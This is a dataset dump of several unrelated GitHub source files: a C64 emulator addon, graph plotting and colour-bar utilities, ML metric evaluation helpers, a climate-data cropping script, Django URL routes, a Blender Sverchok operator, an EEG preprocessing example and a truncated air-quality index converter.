'C64.RESETEMU'\n to start/reset the vice c64 emulator https://vice-emu.sourceforge.io/\n\n The addon is modal - the jukebox gets suspended\n when starting the emulator and resumed again after exiting c64\n\n The default start command can be changed with the cmd config option eg\n x64 /home/pi/bbobble.vsf\n to select a game on startup or change audio settings\n x64 -sounddev alsa -soundarg plughw:CARD=Device,DEV=0 /home/pi/bbobble.vsf\n to get a list of available audio devices use 'aplay -L'\n\n To use multiple instances of c64 game loaders\n (eg for starting multiple games directly)\n see addons.bublbobl!\n \"\"\"\n\n CONFIRM = {\n 'ENABLE': 'start c64?',\n 'RESETEMU': 'reset c64?'\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.running = False\n self.cmd = ['x64']\n if self.config and self.config.get('cmd', False):\n self.cmd = self.config.get('cmd').split(' ')\n self.vice = None # emulator process\n\n async def do(self, func, val=None):\n \"\"\" Calls the addon functions \"\"\"\n self.log.debug(f'Calling c64: {func}')\n if func == 'ENABLE':\n await self.controller.changeMode(self)\n elif func == 'RESETEMU':\n await self.controller.resetMode()\n else:\n self.log.warning(f'Method {func} not defined in C64!')\n\n def getMenuItems(self):\n \"\"\" Enables Quickload and Quicksave default key combos in vice/x64\n \"\"\"\n return ['KEY.LEFTALT+P.P', 'KEY.LEFTALT+F10.QL', 'KEY.LEFTALT+F11.QS', 'C64.RESETEMU']\n\n async def start(self):\n \"\"\" starts c64 emulation! \"\"\"\n self.log.debug('starting c64 emulation')\n self.vice = subprocess.Popen(self.cmd)\n await asyncio.sleep(5) # approx vice64 startup time on rpi4 (no feedback on startup available)\n self.running = True\n self.log.info('c64 emulation started!')\n\n async def stop(self):\n \"\"\" stops c64 emulation \"\"\"\n self.log.debug('stopping c64 emulation')\n if self.vice:\n self.vice.kill()\n await asyncio.sleep(1)\n self.running = False\n self.log.info('c64 emulation stopped!')\n\n @hookimpl\n def onClose(self):\n \"\"\" kill x64 process \"\"\"\n if self.vice:\n self.vice.kill()\n","repo_name":"jas-per/rumba-remote","sub_path":"src/addons/c64/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71512372003","text":"from scipy.io import loadmat\r\n\r\nimport gravis as gv\r\n\r\nimport streamlit as st\r\nimport streamlit.components.v1 as components\r\n\r\nimport json\r\nfrom os import path\r\n\r\nfrom geemap import save_colorbar\r\nimport geemap.colormaps as cm\r\nimport cv2\r\nfrom os.path import realpath, join, dirname\r\nfrom PIL import Image\r\n\r\nimport numpy\r\n\r\ndata_dir= realpath(join(dirname(__file__), 'data'))\r\n\r\n#todo: agregar about en sidebar\r\n#todo: investigar sobre la representacion con forma de cerebro\r\n\r\ndef load_json(file:str):\r\n '''\r\n Load json file\r\n :param file: path to json file\r\n :return: dict\r\n '''\r\n data :dict() = json.load(open(file))\r\n return data\r\n\r\ndef load_json_file(file:str):\r\n '''\r\n Load json file\r\n :param file: path to json file\r\n :return: dict\r\n '''\r\n data :dict() = json.load(file)\r\n return data\r\n\r\ndef load_mat(file:str):\r\n '''\r\n Load mat file\r\n :param file: path to mat file\r\n :return: dict\r\n '''\r\n return loadmat(file)\r\n\r\ndef save_json(file:str, data:dict):\r\n '''\r\n Save json file\r\n :param file: path to json file\r\n :param data: dict\r\n '''\r\n with open(file, 'w') as outfile:\r\n json.dump(data, outfile, indent=4, sort_keys=True, separators=(',', ': '), )\r\n\r\n\r\n\r\ndef get_math_data(data:dict, linkLag:str, valLag:str, new_names: dict):\r\n '''\r\n Get data from mat file as a dict and make it compatible with gravis\r\n :param data: dict of mat file with linkLags and valLags\r\n :param linkLag: linkLag string\r\n :param valLag: valLag string\r\n :param new_names: dict with new names\r\n :return: graphdict, digraphdict(the dict version of the graph and digraph respectively)\r\n and edge colors(the colors of the edges and the weights)\r\n '''\r\n newdata= dict()\r\n count=0\r\n linkl= linkLag + str(count)\r\n vall= valLag + str(count)\r\n linkval= []\r\n\r\n while linkl in data and vall in data:\r\n linkval.append((linkl, vall))\r\n newdata[linkl]= {}\r\n newdata[vall]= []\r\n\r\n for row, data_row in enumerate(data[linkl]):\r\n for column, data_column in enumerate(data_row):\r\n if data_column != 0:\r\n newdata[linkl][row + 1]= {}\r\n newdata[vall].append({'source': row + 1, 'target': column + 1, 'weight': data[vall][row][column]})\r\n count+=1\r\n linkl= linkLag + str(count)\r\n vall= valLag + str(count)\r\n \r\n graphdict= {\r\n 'graph': {\r\n 'directed': False,\r\n 'metadata': {'node_color': 'gray', 'node_opacity': 0.7, 'node_border_size': 2, 'node_border_color': 'black'},\r\n\r\n 'nodes': {},\r\n 'edges': [],\r\n }\r\n }\r\n \r\n link, val= linkval[0]\r\n for node in newdata[link]:\r\n if new_names:\r\n graphdict['graph']['nodes'][node]= {'metadata': {'label': new_names[str(node)], 'title': new_names[str(node)]}}\r\n else:\r\n graphdict['graph']['nodes'][node]= {'metadata': {'label': str(node), 'title': str(node)}}\r\n \r\n edges= set()\r\n edge_colors1= colors([c['weight'] for c in newdata[val]])\r\n for edge in newdata[val]:\r\n if not (edge['source'], edge['target']) in edges or not (edge['target'], edge['source']) in edges:\r\n graphdict['graph']['edges'].append({'source': edge['source'], 'target': edge['target'], 'metadata': {'color': edge_colors1[edge['weight']], 'hover': str(round(float(edge['weight']), 4))}})\r\n edges.add((edge['source'], edge['target']))\r\n edges.add((edge['target'], edge['source']))\r\n \r\n\r\n\r\n digraphdict= {\r\n 'graph': {\r\n 'directed': True,\r\n 'metadata': {'node_color': 'gray', 'node_opacity': 0.7, 'node_border_size': 2, 'node_border_color': 'black'},\r\n\r\n 'nodes': {},\r\n 'edges': [],\r\n }\r\n }\r\n edges= dict()\r\n for link, val in linkval[1:]:\r\n for node in newdata[link]:\r\n if new_names:\r\n digraphdict['graph']['nodes'][node]= {'metadata': {'label': new_names[str(node)], 'title': new_names[str(node)]}}\r\n else:\r\n digraphdict['graph']['nodes'][node]= {'metadata': {'label': str(node), 'title': str(node)}}\r\n \r\n for edge in newdata[val]:\r\n if edges.get((edge['source'], edge['target'])):\r\n edges[(edge['source'], edge['target'])].append({'weight':edge['weight'], 'lags':val[len(valLag):]})\r\n else:\r\n edges[(edge['source'], edge['target'])]= [{'weight':edge['weight'], 'lags':val[len(valLag):]}]\r\n\r\n \r\n for edge in edges:\r\n\r\n if edge[0] != edge[1]:\r\n #todo: add color\r\n lags= ','.join([e['lags'] for e in edges[edge]])\r\n w= sum([e['weight'] for e in edges[edge]])/len(edges[edge])\r\n digraphdict['graph']['edges'].append({'source': edge[0], 'target': edge[1], 'metadata': {'color': w, 'label':lags, 'hover': str(round(float(w), 4))}})\r\n node = edge[1]\r\n if new_names:\r\n digraphdict['graph']['nodes'][node]= {'metadata': {'label': new_names[str(node)], 'title': new_names[str(node)]}}\r\n else: \r\n digraphdict['graph']['nodes'][node]= {'metadata': {'label': str(node), 'title': str(node)}}\r\n\r\n edge_colors2= colors([c['metadata']['color'] for c in digraphdict['graph']['edges']])\r\n for edge in digraphdict['graph']['edges']:\r\n edge['metadata']['color']= edge_colors2[edge['metadata']['color']]\r\n\r\n return graphdict, digraphdict, {**edge_colors1, **edge_colors2}\r\n\r\n\r\n\r\ndef save_json_data(graphdict:dict, digraphdict:dict, file:str):\r\n data = dict()\r\n data['graph']= graphdict\r\n data['digraph']= digraphdict\r\n save_json(file, data)\r\n\r\ndef verify_node(graphdict:dict,node:str):\r\n \"\"\"verifies that each node has the necessary properties to build the graph\"\"\"\r\n return graphdict[\"graph\"][\"nodes\"][node][\"metadata\"].keys() == [\"label\" \"title\"]\r\n\r\ndef verify_edge(graphdict:dict,edge:int):\r\n \"\"\"verifies that each edge has the necessary properties to build the graph\"\"\"\r\n return graphdict[\"graph\"][\"edges\"][edge][\"metadata\"].keys() == [\"color\", \"hover\", \"label\"] and graphdict[\"graph\"][\"edges\"][edge].keys()== [ \"metadata\", \"source\", \"target\"]\r\n\r\ndef get_json_data(data:dict):\r\n \"\"\"gets the graphs from the json file\"\"\"\r\n edge_colors1={}\r\n edge_colors2={}\r\n graphdict={}\r\n digraphdict={}\r\n \r\n try:\r\n \r\n graphdict=data['graph']\r\n digraphdict=data['digraph']\r\n for node in graphdict[\"graph\"]['nodes']:\r\n verify_node(graphdict,node)\r\n for node in digraphdict[\"graph\"]['nodes']:\r\n verify_node(digraphdict,node)\r\n for i in range(len(graphdict[\"graph\"]['edges'])):\r\n verify_edge(graphdict,i)\r\n for i in range(len(digraphdict[\"graph\"]['edges'])): \r\n verify_edge(digraphdict,i)\r\n \r\n edge_colors1 = {graphdict[\"graph\"]['edges'][i]['metadata']['hover']:graphdict[\"graph\"]['edges'][i]['metadata']['color'] for i in range(len(graphdict[\"graph\"]['edges']))}\r\n edge_colors2 = {digraphdict[\"graph\"]['edges'][i]['metadata']['hover']:digraphdict[\"graph\"]['edges'][i]['metadata']['color'] for i in range(len(digraphdict[\"graph\"]['edges']))}\r\n \r\n except:\r\n print(\"El archivo .json no contiene un grafo válido\") \r\n \r\n return graphdict, digraphdict, {**edge_colors1, **edge_colors2}\r\n\r\n\r\n\r\ndef get_new_names(rename_file: str) -> dict:\r\n '''\r\n Get a dict with the new names of the nodes\r\n :param rename_file: Path to the file with the new names\r\n :return: Dict with the new names\r\n '''\r\n #todo: get .mat of new names\r\n #todo: return a dict with {: }\r\n if rename_file:\r\n new_names= load_json_file(rename_file)\r\n return {k:v for k, v in zip(new_names.keys(), new_names.values())}\r\n else:\r\n return None\r\n\r\ndef get_graphs(file:str, linkLag:str, valLag:str, rename_file:str=None):\r\n '''\r\n Get the graphs from a .mat or .json file\r\n :param file: Path to the file\r\n :param linkLag: Name of the link lag\r\n :param valLag: Name of the value lag\r\n :param rename_file: Path to the file with the new names\r\n :return: {'Gdict': , 'Gdidict': , 'edge_colors': '}\r\n '''\r\n _, extension= path.splitext(file.name)\r\n\r\n if extension == '.mat':\r\n Gdict, Gdidict, edge_colors = get_math_data(load_mat(file), linkLag, valLag, get_new_names(rename_file))\r\n\r\n if extension == '.json':\r\n Gdict, Gdidict, edge_colors = get_json_data(load_json_file(file))\r\n\r\n for node in [i for i in Gdict['graph']['nodes'].keys()]:\r\n Gdict['graph']['nodes'][int(node)] = Gdict['graph']['nodes'].pop(node)\r\n for node in [i for i in Gdidict['graph']['nodes'].keys()]:\r\n Gdidict['graph']['nodes'][int(node)] = Gdidict['graph']['nodes'].pop(node)\r\n \r\n sorted_colors = sorted([(round(float(color), 4), edge_colors[color]) for color in edge_colors], key=lambda x: x[0])\r\n\r\n save_json_data(Gdict, Gdidict, join(data_dir, 'graph.json'))\r\n return {'Gdict': Gdict, 'Gdidict': Gdidict, 'Edge Colors': sorted_colors}\r\n\r\n\r\n\r\n#fix:\r\ndef brain_3d_graph(G: dict, new_pos: str):\r\n '''\r\n Get a 3d graph of the brain\r\n :param G: Graph dict\r\n :return: Graph dict\r\n '''\r\n newG= {\r\n 'graph': {\r\n 'directed': G['graph']['directed'],\r\n 'metadata': {'node_color': 'gray', 'node_opacity': 0.7, 'node_border_size': 2, 'node_border_color': 'black'},\r\n 'nodes': {},\r\n 'edges': [],\r\n }\r\n }\r\n data= load_json_file(new_pos)\r\n\r\n for node in G['graph']['nodes']:\r\n newG['graph']['nodes'][node]= G['graph']['nodes'][node]\r\n newG['graph']['nodes'][node]['metadata']['x']= float(data[str(node)]['x'])*3\r\n newG['graph']['nodes'][node]['metadata']['y']= float(data[str(node)]['y'])*3\r\n newG['graph']['nodes'][node]['metadata']['z']= float(data[str(node)]['z'])*3\r\n for edge in G['graph']['edges']:\r\n newG['graph']['edges'].append(edge)\r\n return newG\r\n\r\n\r\ndef get_nodes_graph(G: dict, nodes: list):\r\n '''\r\n Get a subgraph of G containing only the nodes in nodes\r\n :param G: Graph\r\n :param nodes: List of nodes\r\n :return: Subgraph of the nodes list\r\n '''\r\n newG = {\r\n 'graph': {\r\n 'metadata': {'node_color': 'gray', 'node_opacity': 0.7, 'node_border_size': 2, 'node_border_color': 'black'},\r\n 'directed': G['graph']['directed'],\r\n 'nodes': {},\r\n 'edges': [],\r\n }\r\n }\r\n for key, node in zip(G['graph']['nodes'].keys(), G['graph']['nodes'].values()):\r\n if node['metadata']['label'] in nodes:\r\n newG['graph']['nodes'][key]= G['graph']['nodes'][key]\r\n\r\n for edge in G['graph']['edges']:\r\n if G['graph']['nodes'][int(edge['source'])]['metadata']['label'] in nodes:\r\n newG['graph']['edges'].append(edge)\r\n newG['graph']['nodes'][edge['source']]= G['graph']['nodes'][edge['source']]\r\n newG['graph']['nodes'][edge['target']]= G['graph']['nodes'][edge['target']]\r\n\r\n return newG\r\n\r\n\r\n\r\ndef find_max_min_w(wlist: list):\r\n max= 0\r\n min= 0\r\n for w in wlist:\r\n if w >= max:\r\n max= w\r\n if w <= min:\r\n min=w\r\n return max, min\r\n\r\ndef _int_to_hexa_rgb(n: int, pos : bool = True): \r\n n = str(hex(n))[2:] if n > 15 else \"0\" + str(hex(n))[2:]\r\n return ('#' + 'ff' + n + n) if pos else ('#' + n + n + 'ff')\r\n\r\ndef _get_posmin_posmax_neqmin_neqmax(l:list):\r\n '''\r\n Get the positive and a negative min and max of a list\r\n :param l: List\r\n :return: Position of the min, position of the max, position of the min < 0, position of the max < 0\r\n :rtype: tuple\r\n '''\r\n posmin= 2^31\r\n posmax= 0\r\n neqmin= 0\r\n neqmax = -2^32\r\n for i in range(len(l)):\r\n if l[i] >= 0:\r\n if l[i] < posmin:\r\n posmin= l[i]\r\n if l[i] > posmax:\r\n posmax= l[i]\r\n else:\r\n if l[i] < neqmin:\r\n neqmin= l[i]\r\n if l[i] > neqmax:\r\n neqmax= l[i] \r\n return posmin, posmax, neqmin, neqmax\r\n\r\ndef colors(wlist: list):\r\n d = dict()\r\n posmin, posmax, neqmin, neqmax=_get_posmin_posmax_neqmin_neqmax(wlist)\r\n posrange = posmax if (abs(posmax - posmin) < 10e-10) else posmax - posmin\r\n neqrange = neqmax if (abs(neqmax - neqmin) < 10e-10) else neqmax - neqmin\r\n for w in wlist:\r\n if w >= 0:\r\n d[w] = _int_to_hexa_rgb(int((1-((w-posmin)/posrange))*200),True)\r\n else:\r\n d[w] = _int_to_hexa_rgb(int((((w-neqmin)/neqrange))*200), False)\r\n return d\r\n\r\n\r\n\r\ndef add_colorbar(color_list: list):\r\n '''\r\n Add a colorbar to the graph\r\n :param colors: List of colors\r\n '''\r\n colorbar_dir= realpath(join(data_dir, 'colorbar.png'))\r\n graph_dir= realpath(join(data_dir, 'graph.png'))\r\n\r\n max, min = find_max_min_w([color[0] for color in color_list])\r\n cl= colors(numpy.linspace(min, max, 10))\r\n\r\n graph_img= cv2.imread(graph_dir)\r\n gh, gw, _ = graph_img.shape\r\n x= gh/ (800*2)\r\n\r\n save_colorbar(colorbar_dir,\r\n width= 1*x, height=10*x,\r\n tick_size= int(14*x),\r\n vmin=min, vmax= max,\r\n palette=cm.palettes.fromkeys([i for i in cl.values()]),\r\n discrete=False,\r\n show_colorbar=False,\r\n orientation='vertical',\r\n label_size= int(14*x),)\r\n \r\n colorbar_img = cv2.imread(colorbar_dir)\r\n ch, cw, _ = colorbar_img.shape\r\n\r\n for a, x in zip(range(gh-ch, gh), range(0, ch)):\r\n for b, y in zip(range(gw- cw, gw), range(0, cw)):\r\n graph_img[a][b]= colorbar_img[x][y]\r\n\r\n cv2.imwrite(join(data_dir,'graph_colorbar.jpg'), graph_img)\r\n","repo_name":"dionisio35/graph_plotting","sub_path":"src/plot_methods.py","file_name":"plot_methods.py","file_ext":"py","file_size_in_byte":13929,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"41281774417","text":"import os\nfrom collections import defaultdict\nfrom typing import Sequence, Callable\n\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom dpipe.commands import load_from_folder\nfrom dpipe.io import save_json\nfrom dpipe.itertools import zip_equal\n\n\ndef aggregate_metric_probably_with_ids(xs, ys, ids, metric, aggregate_fn=np.mean):\n \"\"\"Aggregate a `metric` computed on pairs from `xs` and `ys`\"\"\"\n try:\n return aggregate_fn([metric(x, y, i) for x, y, i in zip_equal(xs, ys, ids)])\n except TypeError:\n return aggregate_fn([metric(x, y) for x, y in zip_equal(xs, ys)])\n\n\ndef compute_metrics_probably_with_ids(predict: Callable, load_x: Callable, load_y: Callable, ids: Sequence[str],\n metrics: dict):\n return evaluate_with_ids(list(map(load_y, ids)), [predict(load_x(i)) for i in ids], ids, metrics)\n\n\ndef evaluate_with_ids(y_true: Sequence, y_pred: Sequence, ids: Sequence[str], metrics: dict) -> dict:\n return {name: metric(y_true, y_pred, ids) for name, metric in metrics.items()}\n\ndef evaluate_individual_metrics_probably_with_ids(load_y_true, metrics: dict, predictions_path, results_path,\n exist_ok=False):\n assert len(metrics) > 0, 'No metric provided'\n os.makedirs(results_path, exist_ok=exist_ok)\n\n results = defaultdict(dict)\n for identifier, prediction in tqdm(load_from_folder(predictions_path)):\n target = load_y_true(identifier)\n\n for metric_name, metric in metrics.items():\n try:\n results[metric_name][identifier] = metric(target, prediction, identifier)\n except TypeError:\n results[metric_name][identifier] = metric(target, prediction)\n\n for metric_name, result in results.items():\n save_json(result, os.path.join(results_path, metric_name + '.json'), indent=0)\n\ndef evaluate_individual_metrics_probably_with_ids_no_pred(load_y, load_x, predict, metrics: dict, ids_source,\n ids_target, results_path, exist_ok=False):\n if ids_source is not None:\n\n assert len(metrics) > 0, 'No metric provided'\n os.makedirs(results_path, exist_ok=exist_ok)\n\n results = defaultdict(dict)\n for _id_s in ids_source:\n for _id_t in tqdm(ids_target):\n scan_s, scan_t = load_x(_id_s), load_x(_id_t)\n target = load_y(_id_t)\n prediction = predict(scan_s, scan_t)\n\n for metric_name, metric in metrics.items():\n try:\n results[metric_name][_id_s + '_' + _id_t] = metric(target, prediction, _id_t)\n except TypeError:\n results[metric_name][_id_s + '_' + _id_t] = metric(target, prediction)\n\n for metric_name, result in results.items():\n save_json(result, os.path.join(results_path, metric_name + '.json'), indent=0)\n\n else:\n raise NotImplementedError\n","repo_name":"kechua/Feather-Light-Fourier-Domain-Adaptation","sub_path":"kswap/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"44061370184","text":"n = int(input())\nwhile n != 0:\n pts = [tuple(int(i) for i in input().split()) for _ in range (n)]\n p0 = pts[(n - 1) // 2]\n\n s = 0\n o = 0\n for pt in pts:\n if pt[0] == p0[0] or pt[1] == p0[1]:\n continue\n if (pt[0] - p0[0]) * (pt[1] - p0[1]) > 0:\n s += 1\n else:\n o +=1\n print(s, o)\n n = int(input())","repo_name":"leslieyip02/kattis","sub_path":"completed/browniepointsi.py","file_name":"browniepointsi.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30030806318","text":"# this script intends to process data from hindcast into commom datagrid\nimport xarray as xr\nimport pandas as pd\nimport glob\nimport os\n\n\ndef grab_region(fdirname):\n #print('Prcessing file ', fdirname, '...')\n print()\n cudir = os.path.dirname(fdirname)\n fname = os.path.splitext(os.path.basename(fdirname))[0]\n os.makedirs(f'{cudir}/ce', exist_ok=True)\n\n # Specify the lon-lat box coordinates\n lon_min = -50+360\n lon_max = -33+360\n lat_min = -21\n lat_max = 2\n # Specity input and output filename\n input_file = fdirname\n output_file = f'{cudir}/ce/{fname}_ce.nc'\n os.system(f\"cdo -O sellonlatbox,{lon_min},{lon_max},{lat_min},{lat_max} {input_file} {output_file}\")\n print('file created ', output_file)\n\nif __name__ == '__main__': \n\n cdir = \"./\"\n wdir = cdir + 'dcppA-hindcast/'\n #wdir = cdir + 'dcppb-forecast/'\n\n models = [d for d in os.listdir(wdir) if os.path.isdir(os.path.join(wdir,d))]\n\n for model in sorted(models):\n fin = f'{wdir}{model}/Amon/pr/'\n \n for subexp in range(2017,2022):\n print(model, f's{subexp}')\n files = sorted(glob.glob(f'{fin}s{subexp}/*.nc'))\n for fdirname in files:\n grab_region(fdirname)\n \n","repo_name":"juniorphy/down_cmip6","sub_path":"process_dccp_hind_ce.py","file_name":"process_dccp_hind_ce.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14055157309","text":"\"\"\"\nURL configuration for ColegioG3 project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom Apps.matematicaI import views\nfrom .views import PrimeraUnidadView,PUAlgebraView,PUmonyponView,multialgebraView,divisionalgebraView,productonotableView,cocientenotableView,factorcomunView,factor2comunView,PrimeraUnidadView\nfrom .views import PrimeraUnidadejerView,algebraejerView,monejView,multialgebraejerView,divisionalgebraejerView\nfrom .views import productonotableejerView,cocientenotableejerView,factorcomunejerView,factor2comunejerView\napp_name = 'matematicaI'\nfrom django.contrib.auth.decorators import login_required\nurlpatterns = [\n path('MatematicaI', login_required(PrimeraUnidadView.as_view()), name='matematicaIapp'),\n path('matematicaIejer', login_required(PrimeraUnidadejerView.as_view()), name='matematicaejerIapp'),\n path('Algebra/', login_required(PUAlgebraView.as_view()), name='algebraapp'),\n path('EjerciciosAlgebra/', login_required(algebraejerView.as_view()), name='ejerciciosalgebraapp'),\n path('MonomioYPolinomio/', login_required(PUmonyponView.as_view()), name='monomioypolinomioapp'),\n path('EjerciciosMonomioYPolinomio/', login_required(monejView.as_view()), name='ejermonomioypolinomioapp'),\n path('MultiplicacionAlgebraica/', login_required(multialgebraView.as_view()), name='multialgebraapp'),\n path('MultiplicacionAlgebraicaEjercicios/', login_required(multialgebraejerView.as_view()), name='ejermultialgebraapp'),\n path('DivisionAlgebraica/', login_required(divisionalgebraView.as_view()), name='divisionapp'),\n path('DivisionAlgebraicaEjercicios/', login_required(divisionalgebraejerView.as_view()), name='ejerdivisionapp'),\n path('ProductosNotables/', login_required(productonotableView.as_view()), name='productoapp'),\n path('ProductosNotablesEjercicios/', login_required(productonotableejerView.as_view()), name='productoejerapp'),\n path('CocientesNotables/', login_required(cocientenotableView.as_view()), name='cocienteapp'),\n path('CocientesNotablesEjercicios/', login_required(cocientenotableejerView.as_view()), name='ejercocienteapp'),\n path('Factorizacion/', login_required(factorcomunView.as_view()), name='factorapp'),\n path('FactorizacionEjercicios/', login_required(factorcomunejerView.as_view()), name='ejerfactorapp'),\n path('Factorizacion2/', login_required(factor2comunView.as_view()), name='factor2app'),\n path('Factorizacion2Ejercicios/', login_required(factor2comunejerView.as_view()), name='ejerfactor2app'),\n]\n","repo_name":"ColegioG3/ColegioG3","sub_path":"Apps/matematicaI/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37780838950","text":"import bpy\nimport os\nimport sverchok\nfrom sverchok.utils.sv_operator_mixins import SvGenericNodeLocator\n\nloop = dict()\nscript_lookup = dict()\n\ndef gather_items(context):\n\n sv_dir = os.path.dirname(sverchok.__file__) \n script_dir = os.path.join(sv_dir, \"node_scripts\",\"SNLite_templates\")\n \n values = []\n idx = 0\n for category in os.scandir(script_dir):\n if category.is_dir():\n for script in os.scandir(category.path):\n if script.is_file():\n script_lookup[str(idx)] = script.path\n values.append((str(idx), f\"{script.name} | {category.name}\", ''))\n idx += 1\n return values\n\ndef item_cb(self, context):\n return loop.get('results') or [(\"A\",\"A\", '', 0),]\n\n\nclass SvSnliteScriptSearch(bpy.types.Operator, SvGenericNodeLocator):\n \"\"\" SNLite Search Script Library \"\"\"\n bl_idname = \"node.sv_snlite_script_search\"\n bl_label = \"SN lite Script Search\"\n bl_property = \"my_enum\"\n\n my_enum: bpy.props.EnumProperty(items=item_cb)\n\n @classmethod\n def poll(cls, context):\n tree_type = getattr(context.space_data, 'tree_type', None)\n if tree_type in {'SverchCustomTreeType', }:\n return True\n\n def sv_execute(self, context, node):\n if self.my_enum.isnumeric():\n print(script_lookup[self.my_enum])\n script_name = os.path.basename(script_lookup[self.my_enum])\n text_block = bpy.data.texts.new(script_name)\n with open(script_lookup[self.my_enum]) as f:\n text_block.from_string(f.read())\n node.script_name = text_block.name\n node.load()\n\n return {'FINISHED'}\n\n def invoke(self, context, event):\n # context.space_data.cursor_location_from_region(event.mouse_region_x, event.mouse_region_y)\n \n if not loop.get('results'):\n loop['results'] = gather_items(context)\n \n wm = context.window_manager\n wm.invoke_search_popup(self)\n return {'FINISHED'}\n\n\nclasses = [SvSnliteScriptSearch]\nregister, unregister = bpy.utils.register_classes_factory(classes)\n","repo_name":"nortikin/sverchok","sub_path":"utils/snlite_script_searcher.py","file_name":"snlite_script_searcher.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":2098,"dataset":"github-code","pt":"54"} +{"seq_id":"7284225556","text":"\"\"\"\nPomocu ove skripte se ucitavaju svi raw signali i vrsi nad njima pretprocesiranje.\nProbacemo kao sto smo se dogovorili, da uradimo prvo klasifikaciju nad podacima \nkoji su pretprocesirani, pa kasnije mozemo npr da uporedimo rezultate sa onima\nkad mi odradimo taj korak. \n\nUcitavanje raw signala se vrsi pomocu biblioteke pyedflib tako da je prvo potrebno\nprvo instalirati tu biblioteku u anaconda shellu pomocu komande \npip install pyEDFlib\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os.path\nimport pyedflib as edf\n\n# Brojevi kanala za sve signale\nEEG_ch = range(32);\nEOG_ch = range(32,36);\nEMG_ch = range(36,40);\nGSR_ch = 40;\nResp_ch = 44; # respiracija\nPlet_ch = 45; # pletizmograf\nTemp_ch = 46; # temperatura\n\n\n# Ucitavanje raw signala (primer za prvog subjekta)\nPATH_SIGNALS = os.path.dirname(__file__) + '\\..\\dataset\\signals_raw\\s01.bdf'\n\ndata = edf.EdfReader(PATH_SIGNALS)\n\n# Ukupan broj signala\nnum_signals = data.signals_in_file\n\n# Nazivi signala\nsignal_labels = data.getSignalLabels()\n\n# Perioda odabiranja\nfs = data.getSampleFrequencies()[0] # ista je za sve, trebace neke signale downsamplovati\nN = data.getNSamples()[0];\n\n######## Izdvajanje svih signala ##########3\nEEG = np.zeros((len(EEG_ch),N))\nfor i in EEG_ch:\n EEG[i,:] = data.readSignal(i)\n \nEOG = np.zeros((len(EOG_ch),N))\nfor i in EOG_ch:\n EOG[i-32,:] = data.readSignal(i)\n \nEMG = np.zeros((len(EMG_ch),N))\nfor i in EMG_ch:\n EMG[i-36,:] = data.readSignal(i)\n \nGSR = data.readSignal(GSR_ch)\nResp = data.readSignal(Resp_ch)\nPlet = data.readSignal(Plet_ch)\nTemp = data.readSignal(Temp_ch)\n\n\n\n##### Prikaz nekog signala ###########\nimport matplotlib.pyplot as plt\n\nt = np.linspace(0,N/fs,N)\n\nplt.figure()\nplt.plot(t,EEG[0,:])\nplt.xlabel('Vreme [s]')\n\n\n####### Ispod vrsiti pretprocesiranje i posle sacuvati u pickle formatu npr #######\n\n \n\n\ndata.close()\n\n","repo_name":"nebojsa55/EmotionRecognition","sub_path":"src/primer_pretprocesiranje.py","file_name":"primer_pretprocesiranje.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"sh","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"23788214774","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 10 12:38:39 2023\n\n@author: moorthymnair\n\"\"\"\n\nimport requests\nimport pandas as pd\nimport numpy as np\nimport json\nfrom datetime import datetime as dt\nimport math\nfrom tabulate import tabulate\n\n\n\"\"\"\nThe AQI information retreived from the 'World AQI' Platoform is estimatd using the USEPA scale. \nThis needs to be converted to India AQI scale to comply with National Ambient Air Quality Standards (NAAQS), GoI\n\n\"\"\"\n\n## First let us Convert pollution specific AQI at US scale to pollution concentration\n\ndef poll_conc(data, list_of_poll):\n critical_poll = ['pm10', 'pm25', 'so2','no2', 'o3','co']\n poll_conc =[]\n\n for i in critical_poll:\n if i in list_of_poll:\n val = data['iaqi'][i]['v']\n sheet = pd.read_excel('inputs/AQI_breakpoint.xlsx', sheet_name=i+'_US')\n req_row = sheet.loc[(sheet['Lower AQI']<= val) & (sheet['Upper AQI']>= val),:].reset_index()\n ## Let us convert AQI to Pollution concentration\n step_1 = (req_row['Upper AQI'][0] - req_row['Lower AQI'][0])/ (req_row['Upper Conc'][0] - req_row['Lower Conc'][0])\n step_2 = (int(val) - req_row['Lower AQI'][0])/step_1\n actual_conc = (step_2+ req_row['Lower Conc'][0]) *req_row['Conversion_const'][0]\n poll_conc.append(actual_conc)\n else:\n poll_conc.append('No Information available')\n poll_outs = {'poll_conc': poll_conc, 'critical_poll': critical_poll}\n return poll_outs\n\n## Now calculate the AQI as per the India scale\n \ndef aqi(poll_outs):\n AQI = []\n \n for poll, val in zip(poll_outs['critical_poll'], poll_outs['poll_conc']):\n if val !='No Information available':\n sheet = pd.read_excel('inputs/AQI_breakpoint.xlsx', sheet_name=poll+'_IND')\n ## Ceiling the value just not to missed out the intermediate values (eg: PM10 